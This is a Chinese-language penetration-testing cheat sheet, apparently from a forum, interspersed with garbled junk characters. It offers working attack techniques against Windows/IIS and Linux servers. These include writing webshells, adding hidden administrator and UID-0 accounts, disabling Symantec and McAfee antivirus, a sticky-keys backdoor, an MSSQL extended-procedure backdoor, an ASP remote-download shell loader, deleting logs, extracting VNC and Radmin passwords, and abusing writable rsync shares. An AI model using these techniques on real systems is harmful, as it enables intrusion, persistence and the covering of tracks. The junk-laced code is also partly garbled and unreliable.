渗透技巧总结

admin

旁站路径问题
1、读网站配置。
/ g7 n4 R+ X: f0 S2、用以下VBS
& ~  `5 ^7 }$ u% d+ OOn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

Usage:Cscript vWeb.vbs",4096,"Lilo"
% u: V) q2 F: K        WScript.Quit
End If
8 ]- g6 X* V9 e# D# t3 @Set ObjService=GetObject
- R/ s  a( _% }  c$ w$ r
("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)
$ e$ V, m1 x8 H9 G# }0 ~! P
& Z7 F- a, G# Q8 OThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
% M9 Z3 ?  U& U0 |: {7 h+ \; l         
5 j: l9 \, ]6 U5 M5 B4 U) i
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err
* T; i6 t( b; D* {" c' {
<> 0 Then WScript.Quit (1)
" P; @1 r- ]# s2 I0 F  c                WScript.Echo Chr(10) & "[" &
$ y& i; O$ _. s+ A8 L" C
. h0 {8 `/ o$ A& |4 |7 A' w7 LOService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
6 k4 u9 g6 i) O- j) b$ X                        

6 F' b6 [( C  l/ ^- bWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
0 ]- {2 q  R' o, J, x6 @; V2 \                Next
5 v/ ]" h# z" ~4 f1 w  O4 q      
1 C8 k8 d1 t) y0 ~7 l
% c# f6 \1 u3 b2 w         WScript.Echo "ath            : " & VDirObj.Path
        End If
; h+ y* A3 T$ C6 ]- [6 `Next
复制代码
- z4 E. ~4 `3 M! B6 N, v  [3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
# e: T# A3 d1 A; ^4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
1 B9 ^4 T' c) e# o7 G& C' K' w! c7 g, wurl/wp-content/plugins/akismet/akismet.php
/ X9 I; L5 B, H+ r1 M( G$ v9 ~url/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
" j3 [& K5 H9 S: X2 N7 w$ U& ophpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
/ t$ ^$ ^1 ]; D) o( W3 ?phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
: O* {! k2 U6 k% i网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
4 `. L3 w3 ^' u# z) ~  |, \# N8 v9 j————————————————————
CMD下操作VPN相关
8 G0 T+ [# X  p# ?% D: ]1 `netsh ras set user administrator permit #允许administrator拨入该VPN
0 ?% [& p- d# u8 B7 r( m( Knetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
- @! E1 P$ n1 k, e# znetsh ras ip show config #查看VPN分配IP的方式
# }( Q, f. x; Y: ynetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
# ?' L2 ]& L0 o( Dnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
; C; l, y: _+ N/ Y+ q9 Z' cEXEC sp_addsrvrolemember 'test, 'sysadmin'
5 Z9 M6 q# `+ {/ R1 X然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

& j' q7 C: @2 l/ C另类的加用户方法
# Z) k) H# M) g& _. S在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
6 I6 w8 l4 r# B0 A1 f# njs:
4 ?4 I" a  }- V. |/ p& J0 Kvar o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
* \0 }  P3 x9 p$ ~$ B2 Kz.changePassword("123456","")
' E- i) h% X0 }- Z0 }" x% G- ]z.setting("AccountType")=3;
4 H0 V0 G$ A5 ^8 T7 t
5 K6 W, K: E; Vvbs:
Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
* B& y  Y# D" x, ~$ D2 ~* _0 sz.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
1 v8 \5 |0 q( L$ F9 [% ?cacls c: /e /t /g everyone:F           #c盘everyone权限
( L; K; ~2 Y- d  u( U2 p: Ycacls "目录" /d everyone               #everyone不可读，包括admin
" J1 X& t" h- a: r# Y. x————————以下配合PR更好————
/ l' o6 i3 j" f" X3 }3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
+ \- i7 p4 K9 ]9 n) vb、内网环境（LCX）
! z/ e( U! z( ^" |. R- [$ Z$ P6 H9 [c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
————————————————————
: y1 L$ n& C) x. E
& z; T5 O* r! U# w; W2 j5 q5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
* z. @( U' @3 [! ~9 B& L  ucopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
. P) @0 @/ T  |+ F+ L4 F# ?copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
& {; ]3 l% G# n7 |( J+ t$ D——————————————————————
& s0 ~" L3 `7 b" m  u$ U5 @9 p隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
0 T  Y3 T! w8 {4 j: Z; G5 h( ~3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
) F& n1 `& m) f2 Q——————————————————————
MSSQL扩展后门：
) U3 M/ U" W/ f1 M* H8 EUSE master;
+ z8 B8 a; m  v8 n2 vEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
1 g6 S) t, \6 X: Q" G直接删除 ex0111124.log
不成功，“原文件...正在使用”
  d3 b: m: ~2 |5 z4 t0 Z; u当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
. D& \/ O9 G! L& l+ @( j当停止msftpsvc服务后可直接删除ex011124.log
9 K* n6 O6 @) \7 _! J
  v+ k& c4 {" J& H0 w' jMSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
$ L4 |2 H9 s4 P1 _9 D
Server\90\Tools\Shell\mru.dat
—————————————————————————
  f5 n) F; R9 Z' E防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
$ u# v3 S" s' W4 ^
) z: p: z' J8 L  V" ]) P7 i0 ?<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
$ Q- x* z% T5 u. }1 ~Dim Ads, Retrieval, GetRemoteData
' K# P1 k+ G, L* C: fOn Error Resume Next
; z: \9 z2 @( FSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
% ^; x$ x3 T" O6 ?1 V6 g5 Q.Open "Get", s_RemoteFileUrl, False, "", ""
1 u' D7 i. X- o. e.Send
GetRemoteData = .ResponseBody
End With
$ g' Q! z8 Y( ?0 H; ]7 W9 GSet Retrieval = Nothing
; k# _- J8 t. D) m+ z  A* O- gSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
.Open
" n( N0 d, D( l8 p: Z.Write GetRemoteData
: K2 w2 Z" O" N, }/ m6 g.SaveToFile Server.MapPath(s_LocalFileName), 2
6 I% F7 ^. d# A1 _) W.Cancel()
5 N; E* G" ~+ K5 X# s.Close()
( D. N  Z; r: z4 ?End With
Set Ads=nothing
End Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>
/ i; g+ U5 {/ N* E5 X% u" M" [
VNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
2 R% N3 P1 B5 L% }注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
# B% l* H5 Y; R4 kregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
4 w8 S! i9 q7 Z8 Z% W6 Y, q. @  fHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
4 j* I( w9 m  k7 ]然后用HASH版连接。
0 p: t. k& ]9 Y% w, g如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
/ j  L; e' D; c1 G2 {保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
- `! y. L6 ?9 D$ q; Z7 QUsers\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
7 [5 s  U) M6 l4 k+ C( v  M/ D搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
8 W  t0 W' m: D  c4 N1 ~1 bWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
1 |4 v3 |1 n0 P, ~: n8 e7i24的web目录也是可写，权限为administrator。
3 I( x* S8 m, ?$ q- G! u  q) N
( @' D, H/ L; g, R  U% _1433 SA点构建注入点。
" V1 O/ q% R* L, m% J6 `: p& j( m<%
& \- v- g& T: r! IstrSQLServerName = "服务器ip"
1 g' z* ~3 P  I% K& V7 O% HstrSQLDBUserName = "数据库帐号"
! S  m$ o; m9 a1 A9 G6 TstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
3 M" k5 }1 y8 zSet conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
8 t( f' [3 k' ~strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
+ X+ {9 Z7 U* d' X%>
/ o- r8 `% c$ {, b复制代码
******liunx 相关******
一.ldap渗透技巧
, N5 [. j, ]. h# n9 o$ A1.cat /etc/nsswitch
' ^3 Z6 l* [/ ^/ _& m看看密码登录策略我们可以看到使用了file ldap模式
0 e% |, p5 U# y5 G
. S0 I9 W+ j- U% G) {! `2.less /etc/ldap.conf
+ N. Z) g- d( h+ d; d3 Ybase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

' w1 g% ?; F1 o3.查找管理员信息
$ G- t$ j9 V1 c  t' e# z7 O: f匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
- M9 z1 D* H8 N2 U4 m# L; w% m  D0 T; \
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
! v' X7 f  k2 n+ H
6 N* C4 t' d/ T: D* u: k实战:
% o  X5 m) ~% G  ?1.cat /etc/nsswitch
) S9 q, @2 `5 c& A看看密码登录策略我们可以看到使用了file ldap模式
& W  L! k, I% B( n. s* m
& v) L* b: ?# U2.less /etc/ldap.conf
7 q$ \" w$ C/ m; M5 M: i4 y/ |base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
7 o$ l! \% d1 a
5 h4 r' {% P4 a5 _% v( D+ u  Z3.查找管理员信息
5 h2 B* \8 r* Y$ P匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
6 ~6 C  R- C$ C6 y3 X  P1 ^$ f6 g
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
; C  h% b5 g4 t" N0 k有密码形式
9 @! j: E) s: E( j1 l2 Jldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
6 ]! x3 P2 X5 }) t# V. |' S( j4 a
" i) [) T4 z0 F, Z- v* x5 h% l- k5 {"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

7 Q; A4 y: F+ N2 E, Z
; o) Y2 y6 L+ n/ V4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
' c3 O9 E) Q5 x/ ~( A3 A7 Z1.返回所有的属性
+ ?0 s+ ^: o1 }% m  f/ R, vldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
( N- }9 S' Y: N5 ]version: 1
dn: dc=ruc,dc=edu,dc=cn
' p  x1 r  i0 a0 E8 w4 Sdc: ruc
objectClass: domain

, `7 }) P# S! k  `; z$ odn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
/ j& ^% G& I# U; H# w$ bobjectClass: organizationalPerson
objectClass: person
objectClass: top
sn: manager
cn: manager

2 T* [& K# Q9 pdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
; S) [9 y/ z8 K, P% L4 mobjectClass: inetOrgPerson
objectClass: organizationalPerson
# y1 q. l0 Y$ r9 a4 V! K6 J( p- RobjectClass: person
) S. I* ?  Z7 Y8 E1 y4 p5 L+ CobjectClass: top
1 l) S" }& t. R" Y9 M! Y) wsn: superadmin
cn: superadmin
+ n5 Y5 U, ]6 n! E, T6 N9 g
dn: uid=admin,dc=ruc,dc=edu,dc=cn
4 _* v( z. Q& `4 u! i, Buid: admin
1 S8 N" s! F  q, c  H1 SobjectClass: inetOrgPerson
: f3 c. F! G0 p# Y2 T, J* F" gobjectClass: organizationalPerson
  ~3 J8 y: k) [) z5 K/ ]9 W1 O. wobjectClass: person
& h7 ]- `4 Z6 O; ^! W7 O) g; aobjectClass: top
sn: admin
cn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous
( x3 D7 O0 W( s( @
2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
7 \' Y3 Q8 G% f8 G7 _9 H( E
% g9 h( v) H: S/ ?% O4 q$ M5 }more
# i" U1 h! ]/ F' J# A) Rversion: 1
/ O& H3 e  H; n8 H9 kdn: dc=ruc,dc=edu,dc=cn
dc: ruc
8 x/ m* t0 v' w1 ]+ I) A/ c; PobjectClass: domain
  f5 n" d3 n  k( M( Z
! J+ v+ [( A  }' \+ F3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
* J8 a4 O- o/ l2 c0 Lversion: 1
dn:
objectClass: top
" l& [, b+ i( m- W" B6 g1 Y, LnamingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
8 [3 }. g4 e' R4 ksupportedExtension: 2.16.840.1.113730.3.5.3
8 K% O6 E6 T  d8 l7 PsupportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
8 \; F0 p5 Q' F% l2 ^' g' X; UsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
0 M" G: I" o8 H7 G0 XsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
2 q- Q$ P( U  ?; [& `8 zsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
3 d$ [: Z% N% }' e; z6 J6 RsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
8 q& g8 [  {5 C5 K  P: DsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
+ w6 H; ~  a/ g. D" JsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
! k" S; V+ a  h0 Z4 ~7 c8 e+ c; HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
/ \8 X- |5 v  c3 s3 @supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
9 y! z9 E& @+ FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
( W  P+ e6 ?& B, g$ L- xsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
7 V  j/ i1 |2 |5 S& n, ?, NsupportedExtension: 1.3.6.1.4.1.1466.20037
' [0 g8 S( ^, Y3 w2 v+ Q- w7 nsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
2 @/ D3 F: H6 ZsupportedControl: 2.16.840.1.113730.3.4.2
( X6 G  O, E+ p2 PsupportedControl: 2.16.840.1.113730.3.4.3
' u; _% n) O! F" T; B& p, u$ JsupportedControl: 2.16.840.1.113730.3.4.4
9 `6 B, G* Z* U( q  w& A+ PsupportedControl: 2.16.840.1.113730.3.4.5
1 D+ z+ A7 }" e2 o0 N8 M" I9 R9 m6 ~supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
, J! V; t7 {" {2 Q: ~1 ZsupportedControl: 2.16.840.1.113730.3.4.16
/ l, O# K8 q/ b& t8 f% i2 q# c+ i' HsupportedControl: 2.16.840.1.113730.3.4.15
6 A7 I) ?# F0 JsupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
' Q; P; \7 w$ u0 ?supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
2 l. q8 i$ A- U! Q# Y' ]2 CsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
* M0 Y. t" W# O& u* }! _. isupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
+ K4 o) \& U; Q. hsupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
$ ?7 c7 G/ N+ }- |supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
  ]) u9 P5 P6 L# k3 {/ [supportedControl: 2.16.840.1.113730.3.4.13
* _$ ^; u! o9 A8 ssupportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
, h2 c& w' Q: x& U7 N3 }" {& c9 nsupportedLDAPVersion: 2
# R0 ?& b+ }& \0 _+ ~5 _& ?5 isupportedLDAPVersion: 3
( R9 |4 E5 K5 P* f2 R) \vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
' X: y1 T5 f$ ]5 S2 Enetscapemdsuffix: cn=ldap://dc=webA:389
7 @6 |8 U, M/ k- M5 O* g& R. q3 jsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
, |3 c* e  `% K" YsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
5 y( L  |* p, `- O6 VsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
3 x+ r( P+ f- x* c6 j7 KsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
% j' J. g1 n" W1 y( CsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
5 m/ }" {; g+ x/ M  tsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
) m7 ?% W* r1 |5 _: |supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
! `$ ]2 r7 T+ F2 G3 Y' z4 A# ]supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
+ |/ K7 T5 E/ h8 F1 FsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
" w: W# A7 X* G( S7 y  Y  esupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
2 [9 g; K4 `& xsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
6 {) t# N. T0 R/ bsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
, T# A& O; V9 `supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
1 z) t) [" }& Q! ZsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
4 Z+ U# |' S1 x5 VsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
6 Y- ?* Q* ]; b7 HsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
6 d, g+ R  Q/ ~) w1 G8 l" ]+ CsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
  p% B' Y+ r* |6 q) u" MsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
/ a2 ]! L+ h) I; F! ?supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
4 F0 |; c0 ^7 j. dsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
$ b  K: g% M( V7 ^supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
4 }' f' \8 ~: Q, e$ t4 dsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
$ B! ~2 j8 u' a5 h) J3 z4 vsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
( y4 m0 D+ K+ hsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
4 `! h  C  _& W0 o+ CsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
7 [! V3 d/ S$ V: p" \2 \supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
- L. f7 ?9 x9 ]# M. g, P* {supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
$ `& ~+ a/ p' k2 ], U% _& BsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
/ u9 W, B. W0 ?' `————————————
* F4 t" |& I7 ^; H( F! }: Y2. NFS渗透技巧
3 o" }( L1 ]3 C, L% Eshowmount -e ip
列举IP
——————
3.rsync渗透技巧
# B4 V% y9 w2 B7 h" m+ n3 r" s1.查看rsync服务器上的列表
3 G- v# W! J* r; \rsync 210.51.X.X::
* `2 m% ^6 A% {; W( ]3 O5 x# t4 _finance
0 M9 r, a7 C2 G" {( z: p, wimg_finance
+ M! M, Q* P( S% k  ~- ?# Bauto
img_auto
2 O2 I4 x" C: D6 E8 E5 t  H, _7 Qhtml_cms
img_cms
3 _% c5 p# t  k9 uent_cms
ent_img
  _; s5 _6 [+ Y: lceshi
res_img
res_img_c2
" ~$ I8 G  c4 x. r9 r$ N9 S/ x; Fchip
4 _! R, }9 f+ Achip_c2
7 M- x1 j+ J! @! P3 d" I) Y4 T$ H8 ment_icms
& V; N8 B! f5 jgames
2 n0 j7 x0 ?& d+ Ngamesimg
media
& d0 ]/ i9 |2 Smediaimg
# Q. ~+ @9 n# [' nfashion
res-fashion
2 Y  @; _  ?6 Zres-fo
4 ^5 o# z" h" Z2 ktaobao-home
res-taobao-home
house
res-house
res-home
res-edu
+ W9 D7 b$ C+ N4 K% Sres-ent
) b1 ]. n8 n1 t2 k6 _9 c9 [- zres-labs
res-news
res-phtv
res-media
home
6 x' _" |) e+ U0 r( S! j8 F5 S: \3 D1 Eedu
$ w" X, d2 `4 J  G3 Wnews
& [5 p. Z4 Q6 p3 ~2 C3 F: {1 Eres-book
$ Q% Z" |3 {* S6 U- F9 |- ~
$ ?8 {. }' t. w; N/ _; x看相应的下级目录(注意一定要在目录后面添加上/)


" |. x" t5 `1 z4 q5 f% {rsync 210.51.X.X::htdocs_app/
/ J$ ]  o2 j' e- V4 ?; qrsync 210.51.X.X::auto/
# F9 E0 ?% C+ ?rsync 210.51.X.X::edu/
' w8 Z; ~9 z! P% h, {
/ G1 {% M+ I5 H2 Y( u1 x1 [2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
( r) \9 _* t9 [3 T$ ^
& r  g2 d2 s( \2 f0 M0 Y$ ?& T3.向上更新rsync文件(成功上传,不会覆盖)
4 R' t: @# @7 R9 o2 r5 l7 Brsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
  Z6 m. o: f+ G4 l- K# {" ]
四.squid渗透技巧
nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
8 v, R' ~6 N( y: I) r) l五.SSH端口转发
0 U+ m* t' m1 _% jssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

六.joomla渗透小技巧
. A1 p, Q  o, k5 U4 T& Z确定版本
  D7 ?$ \: G/ ~- K9 I9 I: Uindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
2 @8 G$ H9 z' d' G* S/ h0 T3 _
9 S8 U; r/ |. c* d; A2 W15&catid=32:languages&Itemid=47
/ V1 p: ~9 ]) ]! ]: c
重新设置密码
index.php?option=com_user&view=reset&layout=confirm

七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

1 n, ]) ~5 j# L1 Q% o! e八.freebsd本地提权
[argp@julius ~]$ uname -rsi
